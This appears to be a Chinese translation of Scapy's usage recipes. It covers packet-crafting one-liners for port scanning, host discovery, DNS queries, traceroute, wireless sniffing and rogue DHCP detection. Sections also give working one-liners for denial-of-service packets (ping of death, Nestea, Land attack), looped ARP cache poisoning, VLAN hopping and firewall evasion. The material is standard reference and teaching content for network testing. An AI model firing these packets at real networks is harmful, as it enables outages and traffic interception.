发布时间:2022-08-18 18:56
一、简单的one-liners
使用 Scapy 强大的数据包制作工具,我们可以快速复制经典的 TCP 扫描。例如,将发送以下字符串来模拟 ACK 扫描:
>>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
我们可以在应答的数据包中找到未过滤的端口:
>>> for s,r in ans:
... if s[TCP].dport == r[TCP].sport:
... print("%d is unfiltered" % s[TCP].dport)
同样,过滤后的端口可以在未应答的数据包中找到:
>>> for s in unans:
... print("%d is filtered" % s[TCP].dport)
可以使用以下命令启动 Xmas Scan:
>>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
检查 RST 响应将显示目标上的关闭端口。
较低级别的 IP 扫描可用于枚举支持的协议:
>>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
在本地以太网上发现主机的最快方法是使用 ARP Ping 方法:
>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)
可以使用以下命令查看答案:
>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy 还包括一个内置的 arping() 函数,其执行类似于上述两个命令:
>>> arping("192.168.1.0/24")
可以使用以下命令模拟经典 ICMP Ping:
>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)
可以通过以下请求收集有关实时主机的信息:
>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )
在 ICMP 回显请求被阻塞的情况下,我们仍然可以使用各种 TCP Ping,例如下面的 TCP SYN Ping:
>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )
对我们的探测的任何响应都将指示一个活动主机。我们可以使用以下命令收集结果:
>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
如果所有其他方法都失败了,总会有 UDP Ping 会从活动主机产生 ICMP 端口不可达错误。在这里您可以选择最有可能关闭的任何端口,例如端口 0:
>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
再次,可以使用以下命令收集结果:
>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )
二、DNS请求
IPv4 (A) 请求:
这将执行一个寻找 IPv4 地址的 DNS 请求
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an.rdata
'217.25.178.5'
SOA 请求:
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))
>>> ans.ns.mname
b'dns.ovh.net.'
>>> ans.ns.rname
b'tech.ovh.net.'
MX 请求:
>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))
>>> results = [x.exchange for x in ans.an.iterpayloads()]
>>> results
[b'alt1.aspmx.l.google.com.',
b'alt4.aspmx.l.google.com.',
b'aspmx.l.google.com.',
b'alt2.aspmx.l.google.com.',
b'alt3.aspmx.l.google.com.']
三、典型攻击
畸形数据包:
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
死亡之音(Muuahahah):
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
雀巢攻击:
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
陆地攻击(专为 Microsoft Windows 设计):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
四、ARP缓存中毒
此攻击通过 VLAN 跳跃攻击毒化其 ARP 缓存来防止客户端加入网关。
经典的 ARP 缓存中毒:
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
双重 802.1q 封装的 ARP 缓存中毒:
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
五、TCP 端口扫描
在每个端口上发送一个 TCP SYN。等待 SYN-ACK 或 RST 或 ICMP 错误:
>>> res, unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
可能的结果可视化:开放端口
>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
六、IKE 扫描
我们尝试通过发送 ISAKMP 安全协会提案并接收答案来识别 VPN 集中器:
>>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
在列表中可视化结果:
>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )
七、高级跟踪路由
TCP SYN 跟踪路由
>>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
结果将是:
>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
UDP 跟踪路由
像我们使用 TCP 一样跟踪 UDP 应用程序是不可靠的,因为没有握手。我们需要给出一个应用有效载荷(DNS、ISAKMP、NTP 等)才能得到答案:
>>> res, unans = sr(IP(dst="target", ttl=(1,20))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
我们可以将结果可视化为路由器列表:
>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))
DNS 跟踪路由
我们可以通过在函数参数中指定一个完整的数据包来执行 DNS 跟踪路由traceroute()
:
>>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
>>> sr1(IP(dst="172.16.1.232")/ICMP())
>>
九、ICMP leaking
这是一个 Linux 2.0 错误:
>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
>>>>
十、Vlan 跳跃
在非常特殊的情况下,双重 802.1q 封装会使数据包跳转到另一个 VLAN:
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
十一、无线嗅探
以下命令将显示类似于大多数无线嗅探器的信息:
sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))
在 Windows 和 OSX 上,您还需要使用monitor=True,它仅适用于 scapy>2.4.0 (2.4.0dev+)。这可能需要您手动切换监视器模式。
上面的命令将产生类似于下面的输出:
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
十二、简单的 ARP 监视器
该程序使用sniff()
回调(参数 prn)。store 参数设置为 0,这样sniff()
函数就不会存储任何东西(否则它会这样做),因此可以永远运行。filter 参数用于在高负载下获得更好的性能:过滤器应用于内核内部,Scapy 只会看到 ARP 流量。
#! /usr/bin/env python
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=arp_monitor_callback, filter="arp", store=0)
十三、识别 LAN 上的恶意 DHCP 服务器
您怀疑有人在您的 LAN 上安装了一个额外的、未经授权的 DHCP 服务器——无论是无意的还是恶意的。因此,您要检查任何活动的 DHCP 服务器并识别它们的 IP 和 MAC 地址。
使用 Scapy 发送 DHCP 发现请求并分析回复:
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets
在这种情况下,我们收到了 2 个回复,因此测试网络上有两个活动的 DHCP 服务器:
>>> ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
我们只对回复的 MAC 和 IP 地址感兴趣:
>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11
我们指定multi=True
让 Scapy 在收到第一个响应后等待更多的响应数据包。这也是为什么我们不能使用更方便的dhcp_request()
功能而不得不手动构造DHCP数据包的原因:dhcp_request()
用于srp1()
发送和接收,因此会在第一个应答数据包后立即返回。
此外,Scapy 通常会确保回复来自发送刺激的同一 IP 地址。但是我们的 DHCP 数据包被发送到 IP 广播地址(255.255.255.255),任何应答数据包都将以回复的 DHCP 服务器的 IP 地址作为其源 IP 地址(例如 192.168.1.1)。因为这些 IP 地址不匹配,我们必须在发送刺激之前禁用 Scapy 的检查。
conf.checkIPaddr = False
详情参考:
http://en.wikipedia.org/wiki/Rogue_DHCP
特殊案例
过滤操作后的 TTL 递减仅未过滤的数据包生成 ICMP TTL 超出
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
if r.haslayer(ICMP) and r.payload.type == 11:
print s.dport
在多 NIC 防火墙上查找子网,只有他自己的 NIC 的 IP 可以通过此 TTL 访问:
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst
许多防火墙包含一个规则来丢弃没有设置 TCP 时间戳选项的 TCP 数据包,这在流行的端口扫描程序中很常见。
要允许 Scapy 到达目标目的地,必须使用其他选项:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
十五、使用 Wireshark 查看数据包
您已经使用 Scapy 生成或嗅探了一些数据包。
现在您想使用Wireshark查看它们,因为它具有高级数据包解析功能。
这wireshark()就是为了!
# First, generate some packets...
packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()
# Show them with Wireshark
wireshark(packets)
Wireshark 将在后台启动,并显示您的数据包。
wireshark ( pktlist , ... )
使用Packet
or PacketList
,序列化您的数据包,并将其流式传输到 Wireshark中,stdin
就好像它是一个捕获设备一样。
因为这使用pcap
格式来序列化数据包,所以有一些限制:
数据包必须全部相同linktype
。
例如,您不能在顶层混合Ether
和。IP
数据包必须DLT_*
为 linktype
. 不支持linktype
的被替换为DLT_EN10MB
(以太网),并且在 Wireshark 中显示不正确。
例如,不能传递裸ICMP
数据包,但您可以将其作为一个IP
或IPv6
数据包的有效负载发送。